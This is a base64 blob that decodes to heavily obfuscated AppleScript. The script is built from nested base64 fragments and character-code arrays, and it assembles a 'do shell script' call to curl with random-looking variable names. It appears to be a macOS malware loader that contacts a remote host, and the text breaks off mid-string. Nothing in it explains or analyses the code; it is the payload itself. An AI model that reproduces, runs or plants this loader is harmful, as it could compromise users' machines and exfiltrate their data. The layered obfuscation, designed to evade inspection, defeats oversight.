ICgoKCJKMElpQW1JQ0poZENJcElDWWdLQ0oxYlM0aUlDWWdLRUZUUTBsSklHTm9ZWEoiICYgKHN0cmluZyBpZCB7MTA0LCA4OSwgNTEsIDgyLCAxMDgsIDk5LCAxMDUsIDY1LCAxMjAsIDc3LCA2OCwgODUsIDExMiwgNzUsIDgzLCAxMDcsIDEwMywgNzQsIDEwNSwgNjUsIDExMSwgODksIDUwLCAxMDQsIDEwNCwgOTksIDEwOSwgNzAsIDEwNiwgMTAwLCA3MSwgODYsIDEyMSwgNzMsIDcxLCAxMDgsIDEwNywgNzMsIDY4LCA2OSwgMTIwLCA3NywgODN9KSkgJiAoKHN0cmluZyBpZCB7MTA3LCAxMTIsIDc1LCA4MywgMTA3LCAxMTUsIDczLCA2NywgMTAzLCAxMTEsIDc1LCA2NywgMTAzLCAxMTEsIDc1LCA2OSwgNzAsIDg0LCA4MSwgNDgsIDEwOCwgNzQsIDczLCA3MSwgNzh9KSAmICJvWVhKaFkzUmxjaUF4TVRZcElDWWdJbVVpS1NBIikpICYgKCgoc3RyaW5nIGlkIHsxMDksIDczLCA2NywgMTAzLCAxMTEsIDgxLCA4NiwgNzgsIDY4LCA4MywgODUsIDEwNywgMTAzLCA4OSwgNTAsIDEwNCwgMTA0LCA5OSwgMTA5LCA3MCwgMTA2LCAxMDAsIDcxLCA4NiwgMTIxLCA3MywgNjgsIDY5LCAxMjAsIDc3LCA2NywgMTA3LCAxMDMsIDc0LCAxMDUsIDY1LCAxMDUsIDkwLCA2NywgNzMsIDExMiwgNzUsIDgzLCA2NSwgMTA5LCA3MywgNjcsIDEwMywgMTExLCA3NSwgNjksIDcwfSkgJiAiVFEwbEpJR05vWVhKaFkzUmxjaUF4TURFcElDWWdJbklpS1NBbUlDZ29RVk5EU1UiKSAmICgoc3RyaW5nIGlkIHsxMDcsIDEwMywgODksIDUwLCAxMDQsIDEwNCwgOTksIDEwOSwgNzAsIDEwNiwgMTAwLCA3MSwgODYsIDEyMSwgNzMsIDY4LCA2OSwgMTE5LCA3OSwgNjcsIDEwNywgMTAzLCA3NCwgMTA1LCA2NSwgMTA1LCAxMDEsIDgzLCA1MiwgMTA1LCA3NSwgODN9KSAmIChzdHJpbmcgaWQgezEwNywgMTEyLCA3MywgNjcsIDg5LCAxMDMsIDc1LCA2NywgMTAzLCAxMTEsIDc1LCA3MSwgNzgsIDExMSwgODksIDg4LCA3NCwgMTA0LCA4OSwgNTEsIDgyLCAxMDgsIDk5LCAxMDUsIDY2LCAxMTIsIDkwLCA2NywgNjUsIDEyMCwgNzcsIDg0LCA4MSwgMTEyLCA3MywgNjcsIDg5LCAxMDMsIDc1LCA2OSwgNzAsIDg0LCA4MX0pKSkpKSkpICYgKCgoKCgoKHN0cmluZyBpZCB7NDgsIDEwOCwgNzQsIDczLCA3MSwgNzgsIDExMSwgODksIDg4LCA3NCwgMTA0LCA4OSwgNTEsIDgyLCAxMDgsIDk5LCAxMDUsIDY1LCAxMjAsIDc3LCA4NCwgNzMsIDExMiwgNzUsIDgzLCA2NSwgMTA5LCA3MywgNjcsIDEwMywgMTExfSkgJiAoc3RyaW5nIGlkIHs4OSwgNTAsIDEwNCwgMTA0LCA5OSwgMTA5LCA3MCwgMTA2LCAxMDAsIDcxLCA4NiwgMTIxLCA3MywgNzEsIDEwOCwgMTA3LCA3MywgNjgsIDEwNywgNTMsIDc1LCA4MywgNjUsIDEwOSwgNzMsIDY3LCAxMDQsIDY2LCA4NSwgNDgsIDc4LCA3NCwgODMsIDgzLCA2NiwgMTA2LCA5NywgNzEsIDcwLCAxMjEsIDg5LCA4NywgNzgsIDQ4LCA5MCwgODgsIDczLCAxMDMsIDc4LCA2OCwgODksIDExMiwgNzUsIDgzLCAxMDcsIDEwMywgNzQsIDEwNSwgNjUsIDExMX0pKSAmICgoc3RyaW5nIGlkIHs3NSwgNjcsIDEwNCwgNjYsIDg1LCA0OCwgNzgsIDc0LCA4MywgODMsIDY2LCAxMDYsIDk3LCA3MSwgNzAsIDEyMSwgODksIDg3LCA3OCwgNDgsIDkwLCA4OCwgNzMsIDEwMywgNzcsIDg0LCA2OSwgMTIxLCA3NSwgODMsIDY1LCAxMDksIDczLCA2NywgMTA0LCA2NiwgODUsIDQ4LCA3OCwgNzQsIDgzLCA4MywgNjYsIDEwNiwgOTcsIDcxLCA3MCwgMTIxLCA4OSwgODcsIDc4LCA0OCwgOTAsIDg4LCA3MywgMTAzLCA3NywgODQsIDY5LCAxMjAsIDc1LCA4MywgMTA3LCAxMDN9KSAmICJKaUFvS0VGVFEwbEpJR05vWVhKaFkzUmxjaUF4TURncElDWWdLIikpICYgKCgiR05vWVhKaFkzUmxjaUJwWkNBeE1qRXBLU2twS1NBbUkiICYgIkNnb0tDZ29RVk5EU1VrZ1kyaGhjbUZqZEciKSAmICgoc3RyaW5nIGlkIHs4NiwgMTIxLCA3MywgNjgsIDY5LCAxMTksIDc3LCAxMjEsIDEwNywgMTAzLCA3NCwgMTA1LCA2NSwgMTA1LCA5OCwgMTIxLCA3MywgMTEyLCA3MywgNjcsIDg5LCAxMDMsIDc1LCA2NywgNzQsIDExNywgNzMsIDEwNSwgNjUsIDEwOSwgNzMsIDY3LCAxMDQsIDEwNiwgOTcsIDcxLCA3MH0pICYgKHN0cmluZyBpZCB7MTIxLCA4OSwgODcsIDc4LCA0OCwgOTAsIDg4LCA3MywgMTAzLCA5NywgODcsIDgxLCAxMDMsIDc4LCA2OCwgODksIDExMiwgNzUsIDgzLCAxMDcsIDEwMywgNzQsIDEwNSwgNjUsIDExMSwgNzUsIDY3LCAxMDQsIDEwNiwgOTcsIDcxfSkpKSkgJiAoKCgoc3RyaW5nIGlkIHs3MCwgMTIxLCA4OSwgODcsIDc4LCA0OCwgOTAsIDg4LCA3MywgMTAzLCA5NywgODcsIDgxLCAxMDMsIDc5LCA4NCwgMTA3LCAxMTIsIDczLCA2NywgODksIDEwMywgNzUsIDcxLCA3OCwgMTExLCA4OSwgODgsIDc0LCAxMDQsIDg5LCA1MSwgODIsIDEwOCwgOTksIDEwNSwgNjYsIDExMiwgOTAsIDY3LCA2NSwgMTIwfSkgJiAoc3RyaW5nIGlkIHs3NywgODQsIDY5LCAxMTIsIDc1LCA4MywgNjUsIDEwOSwgNzMsIDY3LCAxMDMsIDExMSwgODksIDUwLCAxMDQsIDEwNCwgOTksIDEwOSwgNzAsIDEwNiwgMTAwLCA3MSwgODYsIDEyMSwgNzMsIDcxLCAxMDgsIDEwNywgNzMsIDY4LCA2OSwgMTE5LCA3OSwgODMsIDEwNywgMTAzLCA3NCwgMTA1LCA2NSwgMTExLCA4OSwgNTAsIDEwNH0pKSAmICgoc3RyaW5nIGlkIHsxMDQsIDk5LCAxMDksIDcwLCAxMDYsIDEwMCwgNzEsIDg2LCAxMjEsIDczLCA3MSwgMTA4LCAxMDcsIDczLCA2OCwgNjksIDExOSwgNzksIDgzLCAxMDcsIDExMiwgNzUsIDgzLCAxMDcsIDEwMywgNzQsIDEwNSwgNjUsIDExMSwgNzV9KSAmICJDaEJVME5KU1NCamFHRnlZV04wWlhJZ01URTNLU0FtSUNoQlUwTkpTU0JqYUdGeVlXTjBaWElnTSIpKSAmICgoIlRFd0tTa2dKaUFvS0VGVFEwbEpJR05vWVhKaFkzUmxjaSIgJiAiQXhNRFVwSUNZZ0luUjVJaWtwS1NsOUNuTmxkQ0JmWDFkTE4xSlpRVGR5SUhSdklDZ29LQyIpICYgKChzdHJpbmcgaWQgezEwNCwgMTIyLCAxMDAsIDcyLCA3NCwgMTEyLCA5OCwgMTA5LCA5OSwgMTAzLCA5NywgODcsIDgxLCAxMDMsIDEwMSwgMTIyLCA2OSwgMTIxLCA3NywgMTIxLCAxMTksIDEwMywgNzcsIDEyMiwgODEsIDExNSwgNzMsIDY4LCA2OSwgMTE5LCA3OCwgMTA1LCAxMTksIDEwM30pICYgKHN0cmluZyBpZCB7NzcsIDg0LCA2OSwgNDksIDc2LCA2NywgNjUsIDEyMCwgNzcsIDg0LCA2OSwgMTE1LCA3MywgNjgsIDY5LCAxMjAsIDc3LCA2NywgMTE5LCAxMDMsIDc3LCA4NCwgNjksIDQ4LCA3NiwgNjcsIDY1LCAxMjAsIDc3LCA4NCwgNzMsIDExNSwgNzMsIDY4fSkpKSkpICYgKCgoKCJrNUxDQXpOQ3dnTlRnc0lETTBMQ0ExTUN3Z05EWXNJRFE0TENBek5Dd2dORFFzSURNMExDQXhNIiAmIChzdHJpbmcgaWQgezY4LCAxMDcsIDExNSwgNzMsIDY4LCA2OSwgMTE5LCA3NywgODMsIDExOSwgMTAzLCA3NywgODQsIDY5LCA1MCwgNzYsIDY3LCA2NSwgMTIwLCA3NywgNjgsIDgxLCAxMTUsIDczLCA2OCwgNjksIDEyMCwgNzcsIDgzLCAxMTksIDEwMywgNzcsIDg0LCA2NSwgMTE5LCA3NiwgNjcsIDY1LCAxMjIsIDc4LCA2NywgMTE5LCAxMDMsIDc4LCA4NCwgMTAzLCAxMTUsIDczLCA2OCwgNzcsIDQ4LCA3NiwgNjd9KSkgJiAoIkF4TURFc0lERXhOaXdnTVRBMExDQTVOU3dnT1Rrc0lEazNMQ0F4TURnc0lERXdPQ3dnTSIgJiAoc3RyaW5nIGlkIHsxMjIsIDgxLCAxMTUsIDczLCA2OCwgODEsIDQ4LCA3NiwgNjcsIDY1LCAxMjIsIDc4LCA2NywgMTE5LCAxMDMsIDc3LCA4NCwgNjksIDEyMSwgNzYsIDY3LCA2NSwgNTMsIDc4LCAxMjEsIDExOSwgMTAzLCA3NywgODQsIDY5LCA0OCwgNzYsIDY3LCA2NSwgNTMsIDc4LCAxMjEsIDExOSwgMTAzLCA3NywgODQsIDY1LCA1MywgNzYsIDY3LCA2NSwgMTIwLCA3NywgODQsIDg1LCAxMTUsIDczLCA2OCwgNzcsIDQ4LCA3NiwgNjd9KSkpICYgKCgoc3RyaW5nIGlkIHs2NSwgNDksIDc5LCA2NywgMTE5LCAxMDMsIDc5LCA4NCwgNzAsIDU3LCA3NSwgODMsIDY1LCAxMDksIDczLCA2NywgMTA0LCAxMjIsIDEwMCwgNzIsIDc0LCAxMTIsIDk4LCAxMDksIDk5LCAxMDMsIDk3LCA4NywgODEsIDEwMywgMTAxLCAxMjIsIDY5LCAxMjEsIDc3LCAxMjEsIDExOSwgMTAzLCA3NywgMTIyfSkgJiAoc3RyaW5nIGlkIHs4MSwgMTE1LCA3MywgNjgsIDY5LCAxMjAsIDc4LCAxMDUsIDExOSwgMTAzLCA3NywgODQsIDY5LCAxMjAsIDc2LCA2NywgNjUsIDEyMiwgNzgsIDY3LCAxMTksIDEwMywgNzgsIDg0LCAxMDMsIDExNSwgNzMsIDY4LCA3NywgNDgsIDc2LCA2NywgNjUsIDQ4LCA3OSwgNjd9KSkgJiAoKHN0cmluZyBpZCB7MTE5LCAxMDMsIDc3LCA4NCwgNzMsIDExOSwgNzYsIDY3LCA2NSwgNTAsIDc4LCA4MywgMTE5LCAxMDMsIDc4LCA4NCwgNjksIDExNSwgNzMsIDY4LCAxMDcsIDUxfSkgJiAiTENBMU5Dd2dORGdzSURVeExDQTNNQ3dnTlRZc0lEazNMQ0ExIikpKSAmICgoKChzdHJpbmcgaWQgezc3LCAxMDUsIDExOSwgMTAzLCA3OCwgODQsIDc3LCAxMTUsIDczLCA2OCwgODUsIDEyMSwgNzYsIDY3LCA2NSwgNTMsIDc4LCAxMjEsIDExOSwgMTAzLCA3OCwgODQsIDk5LCAxMTUsIDczLCA2OCwgMTA3LCA1MywgNzYsIDY3LCA2NSwgNDksIDc4LCA1MSwgNDgsIDExMiwgNzUsIDgzLCA2NSwgMTA5fSkgJiAiSUNnb2MzUnlhVzVuSUdsa0lIczBPQ3dnTlRNc0lEazRMQ0ExTWl3Z09Ua3NJRFV6TENBMU5Td2ciKSAmICgoc3RyaW5nIGlkIHs3OCwgODQsIDk5LCAxMTUsIDczLCA2OCwgODksIDUwLCA3NiwgNjcsIDY1LCA1MywgNzksIDY3LCAxMTksIDEwMywgNzgsIDg0LCA4NSwgMTE1LCA3MywgNjgsIDg1LCAxMTksIDc2LCA2N30pICYgKHN0cmluZyBpZCB7NjUsIDQ5LCA3OCwgNjcsIDExOSwgMTAzLCA3OCwgODQsIDY1LCAxMTUsIDczLCA2OCwgODUsIDUwLCA3NiwgNjcsIDY1LCA1MSwgNzcsIDY3LCAxMTksIDEwMywgNzgsIDg0LCA4NSwgMTE1LCA3MywgNjgsIDg5LCA1MSwgMTAyLCA4MywgMTA3LCAxMDMsIDc0fSkpKSAmICgoKHN0cmluZyBpZCB7MTA1LCA2NSwgMTExLCA5OSwgNTEsIDgyLCAxMjEsIDk3LCA4NywgNTMsIDExMCwgNzMsIDcxLCAxMDgsIDEwNywgNzMsIDcyLCAxMTUsIDQ4LCA3OSwgODMsIDExOSwgMTAzLCA3OCwgODQsIDc3LCAxMTUsIDczLCA2OCwgODl9KSAmICIzTENBMU1Dd2dOalVzSURRNExDQXpOQ3dnTkRRc0lETTBMQ0F4TURBc0lEazNMQ0F4TVRZc0lEazMiKSAmICgoc3RyaW5nIGlkIHs3NiwgNjcsIDY1LCAxMjIsIDc4LCA2NywgMTE5LCAxMDMsIDc4LCA4NCwgMTAzLCAxMTUsIDczLCA2OCwgNzcsIDQ4LCA3NiwgNjcsIDY1LCA0OCwgNzksIDY3LCAxMTksIDEwMywgNzcsIDg0LCA3MywgMTE5LCA3NiwgNjcsIDY1LCA0OSwgNzcsIDY3LCAxMTksIDEwMywgNzgsIDg0LCA4MSwgMTE1LCA3M30pICYgKHN0cmluZyBpZCB7NjgsIDg1LCA1MCwgNzYsIDY3LCA2NSwgNDksIDc4LCA2NywgMTE5LCAxMDMsIDc3LCA4NCwgNjUsIDEyMCwgNzYsIDY3LCA2NSwgNTMsIDc5LCA4MywgMTE5LCAxMDMsIDc3LCA4NCwgNjUsIDEyMCwgNzYsIDY3LCA2NSwgNTMsIDc4LCAxMjEsIDExOSwgMTAzLCA3NywgMTIyLCA4MSwgMTE1LCA3MywgNjgsIDY5LCAxMjEsIDc4LCA4MywgMTE5LCAxMDMsIDc4LCA2OCwgODEsIDExNSwgNzMsIDY4LCA3NywgNDgsIDc2LCA2NywgNjUsIDEyMCwgNzcsIDY4LCAxMDN9KSkpKSkpICYgKCgoKCgic0lEazNMQ0F4TVRZc0lERXdNU3dnTVRFMUxDQXhNVFlzSURNMExDQTVNIiAmIChzdHJpbmcgaWQgezEyMSwgMTE5LCAxMDMsIDc4LCA2OCwgODEsIDExNSwgNzMsIDY4LCA3NywgNDgsIDEwMiwgODMsIDEwNywgMTEyLCA3NSwgODMsIDY1LCAxMDksIDczLCA2NywgMTA0LCAxMjIsIDEwMCwgNzIsIDc0LCAxMTIsIDk4LCAxMDksIDk5LCAxMDMsIDk3LCA4NywgODEsIDEwMywgMTAxLCAxMjIsIDY5LCAxMTksIDc4LCA4MywgMTE5LCAxMDMsIDc3LCA4NCwgNjUsIDExOSwgNzYsIDY3LCA2NSwgMTIyfSkpICYgKCJOQ3dnTlRnc0lEUTVMQ0F4TWpWOSIgJiAoc3RyaW5nIGlkIHs3NSwgODMsIDEwNywgNzUsIDY3LCAxMTAsIDc4LCAxMDgsIDEwMCwgNjcsIDY2LCAxMDIsIDg1LCA4NCwgODIsIDczfSkpKSAmICgoKHN0cmluZyBpZCB7ODEsIDg2LCA3OCwgNzksIDk3LCAxMDcsIDgyLCAxMDgsIDk5LCAxMjEsIDY2LCA0OCwgOTgsIDEyMSwgNjUsIDExMSwgOTksIDUxLCA4MiwgMTIxLCA5NywgODcsIDUzLCAxMTAsIDczLCA3MSwgMTA4LCAxMDcsIDczLCA3MiwgMTE1LCAxMjAsIDc3LCA2OCwgNjksIDExNSwgNzMsIDY4fSkgJiAoc3RyaW5nIGlkIHsxMDcsIDUzLCA3NiwgNjcsIDY1LCA1MywgNzksIDY3LCAxMTksIDEwMywgNzksIDg0LCAxMDcsIDExNSwgNzMsIDY4LCAxMDcsIDUxLCA3NiwgNjcsIDY1LCA0OSwgNzgsIDEwNSwgMTE5LCAxMDMsIDc4fSkpICYgKChzdHJpbmcgaWQgezg0LCA2OSwgMTE1LCA3MywgNjgsIDEwNywgNTMsIDc2LCA2NywgNjUsIDQ4LCA3OSwgODMsIDExOSwgMTAzLCA3OCwgODQsIDczLCAxMTUsIDczLCA2OCwgODUsIDQ4LCA3NiwgNjcsIDY1LCA0OSwgNzcsIDgzLCAxMTksIDEwMywgNzgsIDg0LCA3MywgMTE1LCA3MywgNjgsIDg1LCA1MSwgNzYsIDY3LCA2NSwgMTIwLCA3NywgNjgsIDczLCAxMTUsIDczLCA2OCwgODUsIDQ4LCA3NiwgNjcsIDY1LCA0OX0pICYgKHN0cmluZyBpZCB7NzgsIDgzLCAxMTksIDEwMywgNzgsIDY4LCAxMDcsIDExNSwgNzMsIDY4LCA4NSwgMTIyLCA3NiwgNjcsIDY1LCA0OSwgNzgsIDY3LCAxMTksIDEwMywgNzksIDg0LCAxMDMsIDExNSwgNzMsIDY4LCA4NSwgMTIwLCA3NiwgNjcsIDY1LCA0OSwgNzcsIDgzLCAxMTksIDEwMywgNzcsIDg0LCA2NSwgMTIwLCA3NiwgNjcsIDY1LCA1MywgNzksIDgzLCAxMTksIDEwM30pKSkpICYgKCgoKHN0cmluZyBpZCB7NzksIDg0LCAxMDcsIDExNSwgNzMsIDY4LCA4NSwgMTIwLCA3NiwgNjcsIDY1LCAxMjAsIDc3LCA2OCwgNjksIDExNSwgNzMsIDY4LCA4MSwgNTMsIDc2LCA2NywgNjUsIDUzLCA3OCwgMTIxLCAxMTksIDEwMywgNzcsIDg0LCA2NSwgMTIwLCA3NiwgNjcsIDY1LCAxMjAsIDc3LCA2OCwgNzQsIDU3LCA3NSwgODF9KSAmIChzdHJpbmcgaWQgezExMSwgNzUsIDk5LCAxMDksIDg2LCAxMTksIDkwLCA4NywgNzAsIDQ4LCA3MywgNzIsIDEwMCwgMTEyLCAxMDAsIDcxLCAxMDMsIDEwMywgODgsIDQ5LCA1NywgMTIxLCA3OSwgNjksIDkwLCAxMTIsIDEwMCwgNzIsIDEwNCwgMTE0LCA4MiwgNTEsIDgxLCAxMDMsIDk3LCA4NywgNTIsIDEwM30pKSAmICgoc3RyaW5nIGlkIHs4OCwgNDksIDU3LCAxMDgsIDg0LCAxMjIsIDg2LCAxMjEsIDk4LCA0OCwgNTYsIDUxLCA4NywgMTA5LCA0OSwgOTd9KSAmICJad29KZEhKNUNna0pjMlYwSUY5ZlVHdHlTVEZoWkdkRlJqa2dkRzhnWkc4ZyIpKSAmICgoKHN0cmluZyBpZCB7OTksIDUwLCAxMDQsIDEwOCwgOTgsIDcxLCAxMTksIDEwMywgOTksIDUwLCA3OCwgMTIxLCA5NywgODgsIDY2LCA0OCwgNzMsIDY3LCAxMDMsIDExMSwgNzUsIDY3LCAxMDMsIDExMSwgNzMsIDExMCwgNzMsIDEwNSwgNzMsIDY3LCA4OSwgMTAzLCA3MywgMTA2fSkgJiAiMGlLU0FtSUNnb1kyaGhjbUZqZEdWIikgJiAoInlJR2xrSURNMktTQW1JQ2hqYUdGeVlXTjBaWElnYVdRZ05EQXBLU2tnSmlBb0tDSmpkU0lnSmlBaWNtd2lLUyIgJiAoc3RyaW5nIGlkIHs2NSwgMTA5LCA3MywgNjcsIDEwMywgMTExLCA4MSwgODYsIDc4LCA2OCwgODMsIDg1LCAxMDcsIDEwMywgODksIDUwLCAxMDQsIDEwNCwgOTksIDEwOSwgNzAsIDEwNiwgMTAwLCA3MSwgODYsIDEyMSwgNzMsIDY4LCA3NywgMTIxLCA3NSwgODMsIDY1LCAxMDksIDczLCA2NywgMTA0fSkpKSkpICYgKCgoKChzdHJpbmcgaWQgezEwNiwgOTcsIDcxLCA3MCwgMTIxLCA4OSwgODcsIDc4LCA0OCwgOTAsIDg4LCA3MywgMTAzLCA5NywgODcsIDgxLCAxMDMsIDc4LCA2OCwgODUsIDExMiwgNzUsIDgzLCAxMDcsIDExMiwgNzMsIDY3LCA4OSwgMTAzLCA3NSwgNjcsIDEwMywgMTExLCA3NSwgNjl9KSAmICJGVFEwbEpJR05vWVhKaFkzUmxjaUF4TVRVcElDWWdLRUZUUTBsSklHTm9ZWEpoWTNSbGNpQSIpICYgKChzdHJpbmcgaWQgezEyMiwgNzcsIDEwNSwgMTA3LCAxMTIsIDczLCA2NywgODksIDEwMywgNzUsIDY3LCAxMDQsIDEwNiwgOTcsIDcxLCA3MCwgMTIxLCA4OSwgODcsIDc4LCA0OCwgOTAsIDg4LCA3MywgMTAzLCA5NywgODcsIDgxLCAxMDMsIDc4LCA2OCwgODUsIDExMiwgNzMsIDY3LCA4OSwgMTAzLCA3MywgMTA1LCA0OSwgMTE2LCA3MywgMTA1LCAxMDcsIDExMiwgNzMsIDY3LCA4OSwgMTAzLCA3NX0pICYgIkNnaVlYZ3RJaUFtSUNoQlUwTkpTU0JqYUdGeVlXTjBaWElnTVRFMktTa2dKaUFvS0dOb1lYIikpICYgKCgoc3RyaW5nIGlkIHs3NCwgMTA0LCA4OSwgNTEsIDgyLCAxMDgsIDk5LCAxMDUsIDY2LCAxMTIsIDkwLCA2NywgNjUsIDEyMCwgNzcsIDY4LCA4NSwgMTEyLCA3MywgNjcsIDg5fSkgJiAoc3RyaW5nIGlkIHsxMDMsIDc1LCA3MSwgNzgsIDExMSwgODksIDg4LCA3NCwgMTA0LCA4OSwgNTEsIDgyLCAxMDgsIDk5LCAxMDUsIDY2LCAxMTIsIDkwLCA2NywgNjUsIDEyMCwgNzcsIDY4LCAxMDcsIDExMiwgNzUsIDgzLCAxMDcsIDExMiwgNzUsIDgzLCA2NSwgMTA5LCA3MywgNjcsIDEwMywgMTExLCA3NX0pKSAmICgoc3RyaW5nIGlkIHs2NywgMTAzLCAxMTEsIDgxLCA4NiwgNzgsIDY4LCA4MywgODUsIDEwNywgMTAzLCA4OSwgNTAsIDEwNCwgMTA0LCA5OSwgMTA5LCA3MCwgMTA2LCAxMDAsIDcxLCA4NiwgMTIxLCA3MywgNjgsIDY5LCAxMTksIDc3LCA4MywgMTA3fSkgJiAoc3RyaW5nIGlkIHsxMDMsIDc0LCAxMDUsIDY1LCAxMTEsIDg5LCA1MCwgMTA0LCAxMDQsIDk5LCAxMDksIDcwLCAxMDYsIDEwMCwgNzEsIDg2fSkpKSkgJiAoKCgoc3RyaW5nIGlkIHsxMjEsIDczLCA3MSwgMTA4LCAxMDcsIDczLCA2OCwgNzcsIDEyMSwgNzUsIDgzLCAxMDcsIDEwMywgNzQsIDEwNSwgNjUsIDExMSwgNzUsIDY5LCA3MCwgODQsIDgxLCA0OCwgMTA4LCA3NCwgNzMsIDcxLCA3OCwgMTExLCA4OSwgODgsIDc0LCAxMDQsIDg5LCA1MSwgODIsIDEwOCwgOTksIDEwNSwgNjUsIDQ4LCA3OSwgODMsIDEwNywgMTAzLCA3NCwgMTA1LCA2NSwgMTExLCA4OSwgNTAsIDEwNCwgMTA0fSkgJiAoc3RyaW5nIGlkIHs5OSwgMTA5LCA3MCwgMTA2LCAxMDAsIDcxLCA4NiwgMTIxLCA3MywgNzEsIDEwOCwgMTA3LCA3MywgNjgsIDg1LCAxMjIsIDc1LCA4MywgMTA3LCAxMTIsIDczLCA2NywgODksIDEwMywgNzUsIDY3LCAxMDMsIDExMSwgODEsIDg2LCA3OCwgNjgsIDgzLCA4NSwgMTA3LCAxMDMsIDg5LCA1MCwgMTA0LCAxMDQsIDk5LCAxMDksIDcwLCAxMDYsIDEwMCwgNzEsIDg2LCAxMjEsIDczLCA2OCwgNzcsIDEyMSwgNzUsIDgzLCA2NSwgMTA5LCA3MywgNjcsIDEwNH0pKSAmICgoc3RyaW5nIGlkIHs2NiwgODUsIDQ4LCA3OCwgNzQsIDgzLCA4MywgNjYsIDEwNiwgOTcsIDcxLCA3MCwgMTIxLCA4OSwgODcsIDc4LCA0OCwgOTAsIDg4LCA3MywgMTAzLCA3NywgODQsIDY1LCA0OCwgNzUsIDgzLCAxMDcsIDEwMywgNzQsIDEwNSwgNjUsIDExMSwgNzUsIDcxLCA3OCwgMTExLCA4OSwgODgsIDc0LCAxMDQsIDg5LCA1MSwgODIsIDEwOCwgOTksIDEwNSwgNjYsIDExMiwgOTAsIDY3fSkgJiAoc3RyaW5nIGlkIHs2NSwgMTIwLCA3NywgODQsIDg5LCAxMTIsIDczLCA2NywgODksIDEwMywgNzUsIDcxLCA3OCwgMTExLCA4OSwgODgsIDc0LCAxMDQsIDg5LCA1MSwgODIsIDEwOCwgOTksIDEwNSwgNjYsIDExMiwgOTAsIDY3LCA2NSwgMTIwLCA3NywgODQsIDg5LCAxMTIsIDc1LCA4MywgMTA3LCAxMTJ9KSkpICYgKCgoc3RyaW5nIGlkIHs3MywgNjcsIDg5LCAxMDMsIDc1LCA2NywgMTAzLCAxMTEsIDg5LCA1MCwgMTA0LCAxMDQsIDk5LCAxMDksIDcwLCAxMDYsIDEwMCwgNzEsIDg2fSkgJiAoc3RyaW5nIGlkIHsxMjEsIDczLCA3MSwgMTA4LCAxMDcsIDczLCA2OCwgNjksIDEyMCwgNzcsIDEwNSwgMTA3LCAxMDMsIDc0LCAxMDUsIDY1LCAxMDUsIDk5LCAxMjEsIDczLCAxMTIsIDczLCA2NywgODksIDEwMywgNzUsIDY3LCAxMDQsIDY2LCA4NSwgNDgsIDc4LCA3NCwgODMsIDgzLCA2NiwgMTA2LCA5NywgNzEsIDcwLCAxMjEsIDg5LCA4NywgNzgsIDQ4LCA5MCwgODgsIDczLCAxMDMsIDc4LCA4NCwgMTAzfSkpICYgKCJwSUNZZ0lpOHZJaWtwS1NrZ0ppQmZYM0k0Um1sMGVHdEhkQ0FtSUNoemRISnBibWNnYVdRZ2V6TXlMQ0EiICYgKHN0cmluZyBpZCB7NDgsIDc4LCA4MywgMTE5LCAxMDMsIDc5LCA2OCwgMTAzLCAxMTUsIDczLCA2OCwgNzcsIDEyMSwgNzYsIDY3LCA2NSwgNTIsIDc3LCA2NywgMTE5LCAxMDMsIDc4fSkpKSkpKSkpICYgKCgoKCgoKHN0cmluZyBpZCB7MTIyLCAxMDcsIDExNSwgNzMsIDY4LCAxMDMsIDEyMiwgNzYsIDY3LCA2NSwgNTIsIDc4LCA2NywgMTE5LCAxMDMsIDc3LCAxMjIsIDczLCAxMTUsIDczLCA2OCwgODEsIDQ5LCA3NiwgNjcsIDY1LCA1MSwgNzcsIDEwNSwgMTE5LCAxMDMsIDc3LCAxMjIsIDczLCAxMTUsIDczLCA2OCwgNzcsIDUzLCA3NiwgNjcsIDY1LCA1MCwgNzgsIDEyMSwgMTE5LCAxMDMsIDc3LCA4NCwgNjksIDEyMCwgNzYsIDY3LCA2NSwgMTIwLCA3NywgODQsIDY1LCAxMTUsIDczLCA2OCwgNjksIDEyMH0pICYgIk5pd2dNVEF4TENBeE1UQXNJREV4Tml3Z05EVXNJIikgJiAoKHN0cmluZyBpZCB7NjgsIDEwMywgNDgsIDc2LCA2NywgNjUsIDEyMCwgNzcsIDEwNiwgNjksIDExNSwgNzMsIDY4LCA2OSwgMTIwLCA3NywgMTA1LCAxMTksIDEwMywgNzcsIDg0LCA2NSwgMTIwLCA3NiwgNjcsIDY1LCA0OSwgNzksIDY3LCAxMTksIDEwMywgNzcsIDEyMiwgNzMsIDExNSwgNzMsIDY4LCAxMDcsIDUxLCA3NiwgNjd9KSAmIChzdHJpbmcgaWQgezY1LCAxMjAsIDc3LCA4NCwgNzMsIDExNSwgNzMsIDY4LCA2OSwgMTIwLCA3NywgMTA1LCAxMTksIDEwMywgNzcsIDg0LCA2NSwgNTIsIDc2LCA2NywgNjUsIDEyMCwgNzcsIDY4LCA4NSwgMTE1LCA3MywgNjgsIDEwNywgNTMsIDc2LCA2NywgNjUsIDUzLCA3OCwgMTIxLCAxMTksIDEwMywgNzcsIDg0LCA2OX0pKSkgJiAoKChzdHJpbmcgaWQgezUwLCA3NiwgNjcsIDY1LCAxMjAsIDc3LCA2OCwgODUsIDExNSwgNzMsIDY4LCA2OSwgMTIwLCA3NywgODMsIDExOSwgMTAzLCA3NywgODQsIDY5LCAxMTksIDc2LCA2NywgNjUsIDQ4LCA3OCwgMTIxLCAxMTksIDEwMywgNzd9KSAmICJUQTJMQ0F4TVRVc0lERXhNU3dnTVRFd0xDQXpPU3dnTXpJc0lEUTFMQ0EwTlN3Z01UQXdMQ0E1TnkiKSAmICgoc3RyaW5nIGlkIHsxMTksIDEwMywgNzcsIDg0LCA2OSwgNTAsIDc2LCA2NywgNjUsIDUzLCA3OCwgMTIxLCAxMTksIDEwMywgNzcsIDEyMiwgNzMsIDExNSwgNzMsIDY4LCA3NywgNTMsIDEwMiwgODMsIDEwNywgMTAzLCA3NCwgMTA1LCA2NiwgMTAyLCA4OCwgNDksIDEwMH0pICYgKHN0cmluZyBpZCB7NzYsIDc4LCA0OSwgNzQsIDkwLCA4MSwgODQsIDEwMCwgMTIxLCA3MywgNjcsIDg5LCAxMDMsIDc1LCA2NywgMTAzLCAxMTEsIDk5LCA1MSwgODIsIDEyMSwgOTcsIDg3LCA1MywgMTEwLCA3MywgNzF9KSkpKSAmICgoKChzdHJpbmcgaWQgezEwOCwgMTA3LCA3MywgNzIsIDExNSwgMTIyLCA3OSwgODMsIDExOSwgMTAzLCA3OCwgNjgsIDY5LCAxMTUsIDczLCA2OH0pICYgKHN0cmluZyBpZCB7ODUsIDUzLCA3NiwgNjcsIDY1LCAxMjIsIDc3LCAxMDUsIDExOSwgMTAzLCA3NywgODQsIDY1LCA0OCwgNzYsIDY3LCA2NSwgNTAsIDc3LCA4MywgMTE5LCAxMDMsIDc3LCAxMjJ9KSkgJiAoKHN